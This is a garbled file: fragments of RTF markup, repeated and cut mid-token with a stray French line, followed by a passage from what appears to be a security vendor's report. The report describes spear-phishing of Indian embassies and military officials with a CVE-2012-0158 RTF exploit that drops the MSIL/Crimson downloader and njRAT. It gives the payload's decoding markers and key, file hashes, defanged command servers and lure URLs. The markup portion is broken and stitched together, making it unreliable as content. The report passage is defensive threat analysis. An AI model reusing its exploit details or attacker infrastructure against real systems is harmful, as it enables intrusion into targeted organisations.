@\\'b9\\'d9\\'c5\\'c1 CE;} {\\f957\\fbidi \\fmodern\\fcharset186\\fprq1 Consolas Baltic;}{\\f958\\fbidi \\fmodern\\fcharset163\\fprq1 Consolas (Vietnamese);}{\\flomajor\\f31508\\fbidi \\froman\\fcharset238\\fprq2 Times New Roman CE;} {\\f958\\fbidi \\fmodern\\fcharset163\\fprq1 Consolas (Vietnamese);}{\\f1072\\fbidi \\fmodern\\fcharset0\\fprq1 GulimChe Western;}{\\f1070\\fbidi \\fmodern\\fcharset238\\fprq1 GulimChe CE;}{\\f1071\\fbidi \\fmodern\\fcharset204\\fprq1 GulimChe Cyr;} {\\f980\\fbidi \\froman\\fcharset238\\fprq2 @\\'b9\\'d9\\'c5\\'c1 CE;}{\\f981\\fbidi \\froman\\fcharset204\\fprq2 @\\'b9\\'d9\\'c5\\'c1 Cyr;}{\\f983\\fbidi \\froman\\fcharset161\\fprq2 @\\'b9\\'d9\\'c5\\'c1 Greek;}{\\f984\\fbidi \\froman\\fcharset162\\fprq2 @\\'b9\\'d9\\'c5\\'c1 Tur;} {\\f981\\fbidi \\froman\\fcharset204\\fprq2 @\\'b9\\'d9\\'c5\\'c1 Cyr;}{\\f983\\fbidi \\froman\\fcharset161\\fprq2 @\\'b9\\'d9\\'c5\\'c1 Greek;}{\\f984\\fbidi \\froman\\fcharset162\\fprq2 @\\'b9\\'d9\\'c5\\'c1 Tur;}{\\f987\\fbidi \\froman\\fcharset186\\fprq2 @\\'b9\\'d9\\'c5\\'c1 Baltic;} {\\f987\\fbidi \\froman\\fcharset186\\fprq2 @\\'b9\\'d9\\'c5\\'c1 Baltic;}{\\f992\\fbidi \\fmodern\\fcharset0\\fprq1 @MingLiU Western;}{\\f1002\\fbidi \\fmodern\\fcharset0\\fprq1 @MS Mincho Western;}{\\f1000\\fbidi \\fmodern\\fcharset238\\fprq1 @MS Mincho CE;} {\\f992\\fbidi \\fmodern\\fcharset0\\fprq1 @MingLiU Western;}{\\f1072\\fbidi \\fmodern\\fcharset0\\fprq1 GulimChe Western;}{\\f1070\\fbidi \\fmodern\\fcharset238\\fprq1 GulimChe CE;}{\\f1071\\fbidi \\fmodern\\fcharset204\\fprq1 GulimChe Cyr;} {\\fbimajor\\f31503\\fbidi \\froman\\fcharset0\\fprq2{\\*\\panose 02020603050405020304}Times New Roman;}{\\flominor\\f31504\\fbidi \\froman\\fcharset0\\fprq2{\\*\\panose 02020603050405020304}Times New Roman;} {\\fbimajor\\f31539\\fbidi \\froman\\fcharset204\\fprq2 Times New Roman Cyr;}{\\fbimajor\\f31541\\fbidi \\froman\\fcharset161\\fprq2 Times New Roman Greek;}{\\fbimajor\\f31542\\fbidi \\froman\\fcharset162\\fprq2 Times New Roman Tur;} {\\fbimajor\\f31541\\fbidi \\froman\\fcharset161\\fprq2 Times New Roman Greek;}{\\fbimajor\\f31542\\fbidi \\froman\\fcharset162\\fprq2 Times New Roman Tur;}{\\fbimajor\\f31543\\fbidi \\froman\\fcharset177\\fprq2 Times New Roman (Hebrew);} {\\fbimajor\\f31543\\fbidi \\froman\\fcharset177\\fprq2 Times New Roman (Hebrew);}{\\fbimajor\\f31544\\fbidi \\froman\\fcharset178\\fprq2 Times New Roman (Arabic);}{\\fbimajor\\f31545\\fbidi \\froman\\fcharset186\\fprq2 Times New Roman Baltic;} {\\fbimajor\\f31544\\fbidi \\froman\\fcharset178\\fprq2 Times New Roman (Arabic);}{\\fbimajor\\f31545\\fbidi \\froman\\fcharset186\\fprq2 Times New Roman Baltic;}{\\fbimajor\\f31546\\fbidi \\froman\\fcharset163\\fprq2 Times New Roman (Vietnamese);} {\\fbimajor\\f31546\\fbidi \\froman\\fcharset163\\fprq2 Times New Roman (Vietnamese);}{\\flominor\\f31548\\fbidi \\froman\\fcharset238\\fprq2 Times New Roman CE;}{\\flominor\\f31549\\fbidi \\froman\\fcharset204\\fprq2 Times New Roman Cyr;} {\\fbiminor\\f31507\\fbidi \\froman\\fcharset0\\fprq2{\\*\\panose 02020603050405020304}Times New Roman;}{\\f540\\fbidi \\froman\\fcharset238\\fprq2 Times New Roman CE;}{\\f541\\fbidi \\froman\\fcharset204\\fprq2 Times New Roman Cyr;} {\\fbiminor\\f31579\\fbidi \\froman\\fcharset204\\fprq2 Times New Roman Cyr;}{\\fbiminor\\f31581\\fbidi \\froman\\fcharset161\\fprq2 Times New Roman Greek;}{\\fbiminor\\f31582\\fbidi \\froman\\fcharset162\\fprq2 Times New Roman Tur;} {\\fbiminor\\f31581\\fbidi \\froman\\fcharset161\\fprq2 Times New Roman Greek;}{\\fbiminor\\f31582\\fbidi \\froman\\fcharset162\\fprq2 Times New Roman Tur;}{\\fbiminor\\f31583\\fbidi \\froman\\fcharset177\\fprq2 Times New Roman (Hebrew);} {\\fbiminor\\f31583\\fbidi \\froman\\fcharset177\\fprq2 Times New Roman (Hebrew);}{\\fbiminor\\f31584\\fbidi \\froman\\fcharset178\\fprq2 Times New Roman (Arabic);}{\\fbiminor\\f31585\\fbidi \\froman\\fcharset186\\fprq2 Times New Roman Baltic;} {\\fbiminor\\f31584\\fbidi \\froman\\fcharset178\\fprq2 Times New Roman (Arabic);}{\\fbiminor\\f31585\\fbidi \\froman\\fcharset186\\fprq2 Times New Roman Baltic;}{\\fbiminor\\f31586\\fbidi \\froman\\fcharset163\\fprq2 Times New Roman (Vietnamese);}} {\\fbiminor\\f31586\\fbidi \\froman\\fcharset163\\fprq2 Times New Roman (Vietnamese);}}{\\colortbl;\\red0\\green0\\blue0;\\red0\\green0\\blue255;\\red0\\green255\\blue255;\\red0\\green255\\blue0;\\red255\\green0\\blue255;\\red255\\green0\\blue0;\\red255\\green255\\blue0; {\\fdbmajor\\f31501\\fbidi \\fmodern\\fcharset129\\fprq2{\\*\\panose 020b0503020000020004}\\'b8\\'bc\\'c0\\'ba \\'b0\\'ed\\'b5\\'f1;}{\\fhimajor\\f31502\\fbidi \\froman\\fcharset0\\fprq2{\\*\\panose 02040503050406030204}Cambria;} {\\fdbmajor\\f31520\\fbidi \\fmodern\\fcharset0\\fprq2 Malgun Gothic Western;}{\\fhimajor\\f31528\\fbidi \\froman\\fcharset238\\fprq2 Cambria CE;}{\\fhimajor\\f31529\\fbidi \\froman\\fcharset204\\fprq2 Cambria Cyr;} {\\fdbminor\\f31505\\fbidi \\fmodern\\fcharset129\\fprq2{\\*\\panose 020b0503020000020004}\\'b8\\'bc\\'c0\\'ba \\'b0\\'ed\\'b5\\'f1;}{\\fhiminor\\f31506\\fbidi \\fswiss\\fcharset0\\fprq2{\\*\\panose 020f0502020204030204}Calibri;} {\\fdbminor\\f31560\\fbidi \\fmodern\\fcharset0\\fprq2 Malgun Gothic Western;}{\\fhiminor\\f31568\\fbidi \\fswiss\\fcharset238\\fprq2 Calibri CE;}{\\fhiminor\\f31569\\fbidi \\fswiss\\fcharset204\\fprq2 Calibri Cyr;} {\\fhimajor\\f31502\\fbidi \\froman\\fcharset0\\fprq2{\\*\\panose 02040503050406030204}Cambria;}{\\fbimajor\\f31503\\fbidi \\froman\\fcharset0\\fprq2{\\*\\panose 02020603050405020304}Times New Roman;} {\\fhimajor\\f31528\\fbidi \\froman\\fcharset238\\fprq2 Cambria CE;}{\\fhimajor\\f31529\\fbidi \\froman\\fcharset204\\fprq2 Cambria Cyr;}{\\fhimajor\\f31531\\fbidi \\froman\\fcharset161\\fprq2 Cambria Greek;}{\\fhimajor\\f31532\\fbidi \\froman\\fcharset162\\fprq2 Cambria Tur;} {\\fhimajor\\f31529\\fbidi \\froman\\fcharset204\\fprq2 Cambria Cyr;}{\\fhimajor\\f31531\\fbidi \\froman\\fcharset161\\fprq2 Cambria Greek;}{\\fhimajor\\f31532\\fbidi \\froman\\fcharset162\\fprq2 Cambria Tur;} {\\fhimajor\\f31531\\fbidi \\froman\\fcharset161\\fprq2 Cambria Greek;}{\\fhimajor\\f31532\\fbidi \\froman\\fcharset162\\fprq2 Cambria Tur;}{\\fhimajor\\f31535\\fbidi \\froman\\fcharset186\\fprq2 Cambria Baltic;} {\\fhimajor\\f31535\\fbidi \\froman\\fcharset186\\fprq2 Cambria Baltic;}{\\fhimajor\\f31536\\fbidi \\froman\\fcharset163\\fprq2 Cambria (Vietnamese);}{\\fbimajor\\f31538\\fbidi \\froman\\fcharset238\\fprq2 Times New Roman CE;} {\\fhimajor\\f31536\\fbidi \\froman\\fcharset163\\fprq2 Cambria (Vietnamese);}{\\fbimajor\\f31538\\fbidi \\froman\\fcharset238\\fprq2 Times New Roman CE;}{\\fbimajor\\f31539\\fbidi \\froman\\fcharset204\\fprq2 Times New Roman Cyr;} {\\fhiminor\\f31506\\fbidi \\fswiss\\fcharset0\\fprq2{\\*\\panose 020f0502020204030204}Calibri;}{\\fbiminor\\f31507\\fbidi \\froman\\fcharset0\\fprq2{\\*\\panose 02020603050405020304}Times New Roman;}{\\f540\\fbidi \\froman\\fcharset238\\fprq2 Times New Roman CE;} {\\fhiminor\\f31568\\fbidi \\fswiss\\fcharset238\\fprq2 Calibri CE;}{\\fhiminor\\f31569\\fbidi \\fswiss\\fcharset204\\fprq2 Calibri Cyr;}{\\fhiminor\\f31571\\fbidi \\fswiss\\fcharset161\\fprq2 Calibri Greek;}{\\fhiminor\\f31572\\fbidi \\fswiss\\fcharset162\\fprq2 Calibri Tur;} {\\fhiminor\\f31571\\fbidi \\fswiss\\fcharset161\\fprq2 Calibri Greek;}{\\fhiminor\\f31572\\fbidi \\fswiss\\fcharset162\\fprq2 Calibri Tur;}{\\fhiminor\\f31575\\fbidi \\fswiss\\fcharset186\\fprq2 Calibri Baltic;} {\\fhiminor\\f31575\\fbidi \\fswiss\\fcharset186\\fprq2 Calibri Baltic;}{\\fhiminor\\f31576\\fbidi \\fswiss\\fcharset163\\fprq2 Calibri (Vietnamese);}{\\fbiminor\\f31578\\fbidi \\froman\\fcharset238\\fprq2 Times New Roman CE;} {\\fhiminor\\f31576\\fbidi \\fswiss\\fcharset163\\fprq2 Calibri (Vietnamese);}{\\fbiminor\\f31578\\fbidi \\froman\\fcharset238\\fprq2 Times New Roman CE;}{\\fbiminor\\f31579\\fbidi \\froman\\fcharset204\\fprq2 Times New Roman Cyr;} {\\flomajor\\f31500\\fbidi \\froman\\fcharset0\\fprq2{\\*\\panose 02020603050405020304}Times New Roman;}{\\fdbmajor\\f31501\\fbidi \\fmodern\\fcharset129\\fprq2{\\*\\panose 020b0503020000020004}\\'b8\\'bc\\'c0\\'ba \\'b0\\'ed\\'b5\\'f1;} {\\flomajor\\f31508\\fbidi \\froman\\fcharset238\\fprq2 Times New Roman CE;}{\\flomajor\\f31509\\fbidi \\froman\\fcharset204\\fprq2 Times New Roman Cyr;}{\\flomajor\\f31511\\fbidi \\froman\\fcharset161\\fprq2 Times New Roman Greek;} {\\flomajor\\f31509\\fbidi \\froman\\fcharset204\\fprq2 Times New Roman Cyr;}{\\flomajor\\f31511\\fbidi \\froman\\fcharset161\\fprq2 Times New Roman Greek;}{\\flomajor\\f31512\\fbidi \\froman\\fcharset162\\fprq2 Times New Roman Tur;} {\\flomajor\\f31511\\fbidi \\froman\\fcharset161\\fprq2 Times New Roman Greek;}{\\flomajor\\f31512\\fbidi \\froman\\fcharset162\\fprq2 Times New Roman Tur;}{\\flomajor\\f31513\\fbidi \\froman\\fcharset177\\fprq2 Times New Roman (Hebrew);} {\\flomajor\\f31512\\fbidi \\froman\\fcharset162\\fprq2 Times New Roman Tur;}{\\flomajor\\f31513\\fbidi \\froman\\fcharset177\\fprq2 Times New Roman (Hebrew);}{\\flomajor\\f31514\\fbidi \\froman\\fcharset178\\fprq2 Times New Roman (Arabic);} {\\flomajor\\f31513\\fbidi \\froman\\fcharset177\\fprq2 Times New Roman (Hebrew);}{\\flomajor\\f31514\\fbidi \\froman\\fcharset178\\fprq2 Times New Roman (Arabic);}{\\flomajor\\f31515\\fbidi \\froman\\fcharset186\\fprq2 Times New Roman Baltic;} {\\flomajor\\f31514\\fbidi \\froman\\fcharset178\\fprq2 Times New Roman (Arabic);}{\\flomajor\\f31515\\fbidi \\froman\\fcharset186\\fprq2 Times New Roman Baltic;}{\\flomajor\\f31516\\fbidi \\froman\\fcharset163\\fprq2 Times New Roman (Vietnamese);} {\\flomajor\\f31515\\fbidi \\froman\\fcharset186\\fprq2 Times New Roman Baltic;}{\\flomajor\\f31516\\fbidi \\froman\\fcharset163\\fprq2 Times New Roman (Vietnamese);}{\\fdbmajor\\f31520\\fbidi \\fmodern\\fcharset0\\fprq2 Malgun Gothic Western;} {\\flomajor\\f31516\\fbidi \\froman\\fcharset163\\fprq2 Times New Roman (Vietnamese);}{\\fdbmajor\\f31520\\fbidi \\fmodern\\fcharset0\\fprq2 Malgun Gothic Western;}{\\fhimajor\\f31528\\fbidi \\froman\\fcharset238\\fprq2 Cambria CE;} {\\flominor\\f31504\\fbidi \\froman\\fcharset0\\fprq2{\\*\\panose 02020603050405020304}Times New Roman;}{\\fdbminor\\f31505\\fbidi \\fmodern\\fcharset129\\fprq2{\\*\\panose 020b0503020000020004}\\'b8\\'bc\\'c0\\'ba \\'b0\\'ed\\'b5\\'f1;} {\\flominor\\f31548\\fbidi \\froman\\fcharset238\\fprq2 Times New Roman CE;}{\\flominor\\f31549\\fbidi \\froman\\fcharset204\\fprq2 Times New Roman Cyr;}{\\flominor\\f31551\\fbidi \\froman\\fcharset161\\fprq2 Times New Roman Greek;} {\\flominor\\f31551\\fbidi \\froman\\fcharset161\\fprq2 Times New Roman Greek;}{\\flominor\\f31552\\fbidi \\froman\\fcharset162\\fprq2 Times New Roman Tur;}{\\flominor\\f31553\\fbidi \\froman\\fcharset177\\fprq2 Times New Roman (Hebrew);} {\\flominor\\f31552\\fbidi \\froman\\fcharset162\\fprq2 Times New Roman Tur;}{\\flominor\\f31553\\fbidi \\froman\\fcharset177\\fprq2 Times New Roman (Hebrew);}{\\flominor\\f31554\\fbidi \\froman\\fcharset178\\fprq2 Times New Roman (Arabic);} {\\flominor\\f31554\\fbidi \\froman\\fcharset178\\fprq2 Times New Roman (Arabic);}{\\flominor\\f31555\\fbidi \\froman\\fcharset186\\fprq2 Times New Roman Baltic;}{\\flominor\\f31556\\fbidi \\froman\\fcharset163\\fprq2 Times New Roman (Vietnamese);} {\\flominor\\f31555\\fbidi \\froman\\fcharset186\\fprq2 Times New Roman Baltic;}{\\flominor\\f31556\\fbidi \\froman\\fcharset163\\fprq2 Times New Roman (Vietnamese);}{\\fdbminor\\f31560\\fbidi \\fmodern\\fcharset0\\fprq2 Malgun Gothic Western;} {\\info{\\author Messi}{\\operator Messi}{\\creatim\\yr2017\\mo5\\dy11\\hr13\\min53}{\\revtim\\yr2017\\mo5\\dy11\\hr14\\min45}{\\version3}{\\edmins1}{\\nofpages1}{\\nofwords215}{\\nofchars1489}{\\nofcharsws1701}{\\vern32775}}{\\*\\xmlnstbl {\\xmlns1 http://schemas.microsoft.com/o {\\info{\\author Messi}{\\operator Messi}{\\creatim\\yr2017\\mo5\\dy11\\hr13\\min53}{\\revtim\\yr2017\\mo5\\dy11\\hr14\\min46}{\\version3}{\\edmins1}{\\nofpages1}{\\nofwords319}{\\nofchars1696}{\\nofcharsws2011}{\\vern32775}}{\\*\\xmlnstbl {\\xmlns1 http://schemas.microsoft.com/o {\\info{\\author Messi}{\\operator Messi}{\\creatim\\yr2017\\mo5\\dy11\\hr13\\min55}{\\revtim\\yr2017\\mo5\\dy11\\hr14\\min55}{\\version3}{\\edmins1}{\\nofpages1}{\\nofwords247}{\\nofchars1491}{\\nofcharsws1735}{\\vern32775}}{\\*\\xmlnstbl {\\xmlns1 http://schemas.microsoft.com/o {\\info{\\author Messi}{\\operator Messi}{\\creatim\\yr2017\\mo5\\dy11\\hr13\\min56}{\\revtim\\yr2017\\mo5\\dy11\\hr14\\min55}{\\version3}{\\edmins1}{\\nofpages1}{\\nofwords302}{\\nofchars1590}{\\nofcharsws1889}{\\vern32775}}{\\*\\xmlnstbl {\\xmlns1 http://schemas.microsoft.com/o {\\info{\\author Messi}{\\operator Messi}{\\creatim\\yr2017\\mo5\\dy11\\hr13\\min56}{\\revtim\\yr2017\\mo5\\dy11\\hr14\\min56}{\\version3}{\\edmins1}{\\nofpages1}{\\nofwords300}{\\nofchars1599}{\\nofcharsws1896}{\\vern32775}}{\\*\\xmlnstbl {\\xmlns1 http://schemas.microsoft.com/o {\\info{\\author Messi}{\\operator Messi}{\\creatim\\yr2017\\mo5\\dy11\\hr13\\min56}{\\revtim\\yr2017\\mo5\\dy11\\hr14\\min57}{\\version3}{\\edmins1}{\\nofpages1}{\\nofwords267}{\\nofchars1576}{\\nofcharsws1840}{\\vern32775}}{\\*\\xmlnstbl {\\xmlns1 http://schemas.microsoft.com/o {\\info{\\author Messi}{\\operator Messi}{\\creatim\\yr2017\\mo5\\dy11\\hr13\\min56}{\\revtim\\yr2017\\mo5\\dy11\\hr14\\min58}{\\version3}{\\edmins0}{\\nofpages1}{\\nofwords297}{\\nofchars1516}{\\nofcharsws1810}{\\vern32775}}{\\*\\xmlnstbl {\\xmlns1 http://schemas.microsoft.com/o {\\info{\\author Messi}{\\operator Messi}{\\creatim\\yr2017\\mo5\\dy11\\hr13\\min56}{\\revtim\\yr2017\\mo5\\dy11\\hr14\\min58}{\\version3}{\\edmins1}{\\nofpages1}{\\nofwords292}{\\nofchars1527}{\\nofcharsws1816}{\\vern32775}}{\\*\\xmlnstbl {\\xmlns1 http://schemas.microsoft.com/o {\\pntxta \\hich )}}{\\*\\pnseclvl6\\pnlcltr\\pnstart1\\pnindent720\\pnhang {\\pntxtb \\hich (}{\\pntxta \\hich )}}{\\*\\pnseclvl7\\pnlcrm\\pnstart1\\pnindent720\\pnhang {\\pntxtb \\hich (}{\\pntxta \\hich )}}{\\*\\pnseclvl8\\pnlcltr\\pnstart1\\pnindent720\\pnhang {\\pntxtb \\hich (} {\\pntxta \\hich )}}{\\*\\pnseclvl9\\pnlcrm\\pnstart1\\pnindent720\\pnhang {\\pntxtb \\hich (}{\\pntxta \\hich )}}\\pard\\plain \\ltrpar\\s15\\ql \\li0\\ri0\\widctlpar\\wrapdefault\\aspalpha\\aspnum\\faauto\\adjustright\\rin0\\lin0\\itap0\\pararsid11406400 \\rtlch\\fcs1 {\\pntxta \\hich )}}{\\*\\pnseclvl9\\pnlcrm\\pnstart1\\pnindent720\\pnhang {\\pntxtb \\hich (}{\\pntxta \\hich )}}\\pard\\plain \\ltrpar\\s15\\ql \\li0\\ri0\\widctlpar\\wrapdefault\\aspalpha\\aspnum\\faauto\\adjustright\\rin0\\lin0\\itap0\\pararsid11828659 \\rtlch\\fcs1 {\\pntxta \\hich )}}{\\*\\pnseclvl9\\pnlcrm\\pnstart1\\pnindent720\\pnhang {\\pntxtb \\hich (}{\\pntxta \\hich )}}\\pard\\plain \\ltrpar\\s15\\ql \\li0\\ri0\\widctlpar\\wrapdefault\\aspalpha\\aspnum\\faauto\\adjustright\\rin0\\lin0\\itap0\\pararsid12867363 \\rtlch\\fcs1 {\\pntxta \\hich )}}{\\*\\pnseclvl9\\pnlcrm\\pnstart1\\pnindent720\\pnhang {\\pntxtb \\hich (}{\\pntxta \\hich )}}\\pard\\plain \\ltrpar\\s15\\ql \\li0\\ri0\\widctlpar\\wrapdefault\\aspalpha\\aspnum\\faauto\\adjustright\\rin0\\lin0\\itap0\\pararsid1585482 \\rtlch\\fcs1 {\\pntxta \\hich )}}{\\*\\pnseclvl9\\pnlcrm\\pnstart1\\pnindent720\\pnhang {\\pntxtb \\hich (}{\\pntxta \\hich )}}\\pard\\plain \\ltrpar\\s15\\ql \\li0\\ri0\\widctlpar\\wrapdefault\\aspalpha\\aspnum\\faauto\\adjustright\\rin0\\lin0\\itap0\\pararsid1838094 \\rtlch\\fcs1 {\\pntxta \\hich )}}{\\*\\pnseclvl9\\pnlcrm\\pnstart1\\pnindent720\\pnhang {\\pntxtb \\hich (}{\\pntxta \\hich )}}\\pard\\plain \\ltrpar\\s15\\ql \\li0\\ri0\\widctlpar\\wrapdefault\\aspalpha\\aspnum\\faauto\\adjustright\\rin0\\lin0\\itap0\\pararsid3094406 \\rtlch\\fcs1 {\\pntxta \\hich )}}{\\*\\pnseclvl9\\pnlcrm\\pnstart1\\pnindent720\\pnhang {\\pntxtb \\hich (}{\\pntxta \\hich )}}\\pard\\plain \\ltrpar\\s15\\ql \\li0\\ri0\\widctlpar\\wrapdefault\\aspalpha\\aspnum\\faauto\\adjustright\\rin0\\lin0\\itap0\\pararsid3689921 \\rtlch\\fcs1 {\\pntxta \\hich )}}{\\*\\pnseclvl9\\pnlcrm\\pnstart1\\pnindent720\\pnhang {\\pntxtb \\hich (}{\\pntxta \\hich )}}\\pard\\plain \\ltrpar\\s15\\ql \\li0\\ri0\\widctlpar\\wrapdefault\\aspalpha\\aspnum\\faauto\\adjustright\\rin0\\lin0\\itap0\\pararsid4400686 \\rtlch\\fcs1 {\\pntxta \\hich )}}{\\*\\pnseclvl9\\pnlcrm\\pnstart1\\pnindent720\\pnhang {\\pntxtb \\hich (}{\\pntxta \\hich )}}\\pard\\plain \\ltrpar\\s15\\ql \\li0\\ri0\\widctlpar\\wrapdefault\\aspalpha\\aspnum\\faauto\\adjustright\\rin0\\lin0\\itap0\\pararsid4476117 \\rtlch\\fcs1 {\\pntxta \\hich )}}{\\*\\pnseclvl9\\pnlcrm\\pnstart1\\pnindent720\\pnhang {\\pntxtb \\hich (}{\\pntxta \\hich )}}\\pard\\plain \\ltrpar\\s15\\ql \\li0\\ri0\\widctlpar\\wrapdefault\\aspalpha\\aspnum\\faauto\\adjustright\\rin0\\lin0\\itap0\\pararsid4986254 \\rtlch\\fcs1 {\\pntxta \\hich )}}{\\*\\pnseclvl9\\pnlcrm\\pnstart1\\pnindent720\\pnhang {\\pntxtb \\hich (}{\\pntxta \\hich )}}\\pard\\plain \\ltrpar\\s15\\ql \\li0\\ri0\\widctlpar\\wrapdefault\\aspalpha\\aspnum\\faauto\\adjustright\\rin0\\lin0\\itap0\\pararsid6228682 \\rtlch\\fcs1 {\\pntxta \\hich )}}{\\*\\pnseclvl9\\pnlcrm\\pnstart1\\pnindent720\\pnhang {\\pntxtb \\hich (}{\\pntxta \\hich )}}\\pard\\plain \\ltrpar\\s15\\ql \\li0\\ri0\\widctlpar\\wrapdefault\\aspalpha\\aspnum\\faauto\\adjustright\\rin0\\lin0\\itap0\\pararsid6447444 \\rtlch\\fcs1 {\\pntxta \\hich )}}{\\*\\pnseclvl9\\pnlcrm\\pnstart1\\pnindent720\\pnhang {\\pntxtb \\hich (}{\\pntxta \\hich )}}\\pard\\plain \\ltrpar\\s15\\ql \\li0\\ri0\\widctlpar\\wrapdefault\\aspalpha\\aspnum\\faauto\\adjustright\\rin0\\lin0\\itap0\\pararsid6827409 \\rtlch\\fcs1 c2\\adeff31507\\deff0\\stshfdbch31505\\stshfloch31506\\stshfhich31506\\stshfbi0\\deflang1033\\deflangfe1042\\themelang1033\\themelangfe1042\\themelangcs0{\\fonttbl{\\f0\\fbidi \\froman\\fcharset0\\fprq2{\\*\\panose 02020603050405020304}Times New Roman;} c2\\adeff31507\\deff0\\stshfdbch31505\\stshfloch31506\\stshfhich31506\\stshfbi0\\deflang1033\\deflangfe1042\\themelang1033\\themelangfe1042\\themelangcs0{\\fonttbl{\\f0\\fbidi \\froman\\fcharset0\\fprq2{\\*\\panose 02020603050405020304}Times New Roman;}{\\f1\\fbidi \\fswiss\\fcharset0\\fprq2{\\*\\panose 020b0604020202020204}Arial;} c2\\adeff31507\\deff0\\stshfdbch31505\\stshfloch31506\\stshfhich31506\\stshfbi0\\deflang1033\\deflangfe1042\\themelang1033\\themelangfe1042\\themelangcs0{\\fonttbl{\\f0\\fbidi \\froman\\fcharset0\\fprq2{\\*\\panose 02020603050405020304}Times New Roman;}{\\f2\\fbidi \\fmodern\\fcharset0\\fprq1{\\*\\panose 02070309020205020404}Courier New;} {\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\b\\f31502\\fs28\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\b\\f31502\\fs28\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 {\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 g}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ {\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 n t}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ {\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 th}{ {\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14574943\\charrsid15614891 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 >. Meilleur moment pour v\\'e9\\loch\\f31502 \\hich\\f31502 rifier: de 9h00 \\'e0\\loch\\f31502 11h00 du lundi au vendredi. {\\rtlch\\fcs1 \\af53 \\ltrch\\fcs0 \\fs22\\loch\\af31502\\hich\\af31502\\dbch\\af53\\insrsid15301782 \\hich\\af31502\\dbch\\af53\\loch\\f31502 s}{\\rtlch\\fcs1 \\af53 \\ltrch\\fcs0 \\fs22\\loch\\af31502\\hich\\af31502\\dbch\\af53\\insrsid13717663\\charrsid6386681 {\\vern32775}}{\\*\\xmlnstbl {\\xmlns1 http://schemas.microsoft.com/office/word/2003/wordml}}\\paperw12240\\paperh15840\\margl1501\\margr1502\\margt1701\\margb1440\\gutter0\\ltrsect {AEBA21FA-782A-4A90-978D-B72164C80120} {l]k]Y 839569f031a2cb6e9ae1dc797b1bd7cce53d3528c8b5fbec21cecb0de3f5ac88,\xe2\x80\x9ddef.riyadh\xe2\x80\x9d Attachment: 3966f669a6af4278869b9cce0f2d9279, Harrasment (sic) Case Shakantula.doc exploit: CVE-2012-0158 Doc dropped: 6a69cd7a2cb993994fccec7b7e99c5daa5ec8083ba887142cb0242031d7d4966,svchost.exe functionality: downloader Author: Darien Huss https://www.rackspace.com/en-us/mailgun 2 Figure 1: First email sent to Embassy of India, Astana, Kazakhstan Figure 2: Second email sent to Embassy of India, Riyadh, Kingdom of Saudi Arabia 3 In this incident, the attachment was a weaponized RTF document utilizing CVE-2012-0158 to drop an embedded, encoded portable executable (PE). To decode the embedded PE, the document\xe2\x80\x99s shellcode first searches for the 0xBABABABA marker that, when found, will indicate the beginning position of the PE (Fig. 3). The PE is then decoded using the key 0xCAFEBABE while skipping null DWORDs (Fig. 4). A final marker indicates the end of the PE file, which, in this case, is the marker 0xBBBBBBBB. This decode routine, including other components of the exploit document, have been discussed before and have been observed in completely unrelated incidents. Figure 3: Shellcode searching for 0xBABABABA marker https://en.wikipedia.org/wiki/Portable_Executable http://blog.malwareclipboard.com/2015/10/rtf-exploit-document-extraction.html 4 Figure 4: Decoding of encoded PE and searching for terminator marker After successful exploitation and decoding of the embedded payload, a family of malware we refer to as MSIL/ Crimson will be executed on the victim\xe2\x80\x99s machine. The first stage in infection is a downloader whose purpose is to download the more fully featured RAT component. The MSIL/Crimson downloader that was dropped (md5: 3a67ebcab5dc3563dc161fdc3c7fb161) will attempt to download the full RAT from 213.136.87[.]122:10001 (Fig. 5). A full description and analysis of the MSIL/Crimson malware family is provided in the Technical Analysis section. 5 Figure 5: MSIL/Crimson downloading RAT Fake blog with an Indian military emphasis leads to MSIL/Crimson and more While conducting research related to MSIL/Crimson, Proofpoint researchers discovered a malicious blogspot.com site (Fig. 6), intribune.blogspot[.]com, that appears to have been set up to lure Indian military officials into becoming infected with MSIL/Crimson, njRAT, and possibly other malicious tools. This site is likely operated by the same actor(s) that carried out the previously discussed attacks on Indian embassy officials based on shared C&C infrastructure as discussed in the Cluster Analysis section. Most of the published stories contain some method of directing potential victims to a malicious payload, although a few of the stories did not contain any malicious code at time of analysis. In the following articles from this site, we see the threat actors conducting their malicious activities in multiple ways: 1. Using hyperlinks via an image or text 2. Using the same hypertext link in the article text, on the story\xe2\x80\x99s image, and in an iframe 3. The final article in this section contains a link to an additional website that is likely operated by the same threat actor(s) and connected to other email campaigns Lure articles 4 Sikh Army Officers being trialed in military court on alleged involvement with KLF Link: hxxp://intribune.blogspot[.]com/2015/11/4-sikh-army-officers-being-trialed-in.html Malicious Document Location: hxxp://bbmsync2727[.]com/news/4%20Sikh%20Army%20Officers%20being%20trialed. doc Document: 0197ff119e1724a1ffbf33df14411001 Type: Exploit,CVE-2012-0158,Embedded Payload Dropped: njRAT - 27ca136850214234bcdca765dfaed79f C&C: 5.189.145[.]248:10032 6 Figure 6: Article lure leading to exploit document capable of installing njRAT on vulnerable machines Figure 7: Decoy document dropped by \xe2\x80\x9c4 Sikh Army Officers being trialed.doc\xe2\x80\x9d One notable difference between this article and the rest is that it contained an iframe pointing to the same document linked to via the \xe2\x80\x9cRead More\xe2\x80\x9d hyperlink. This iframe causes visitors to be prompted to download the document immediately upon visiting, as well as from the top level 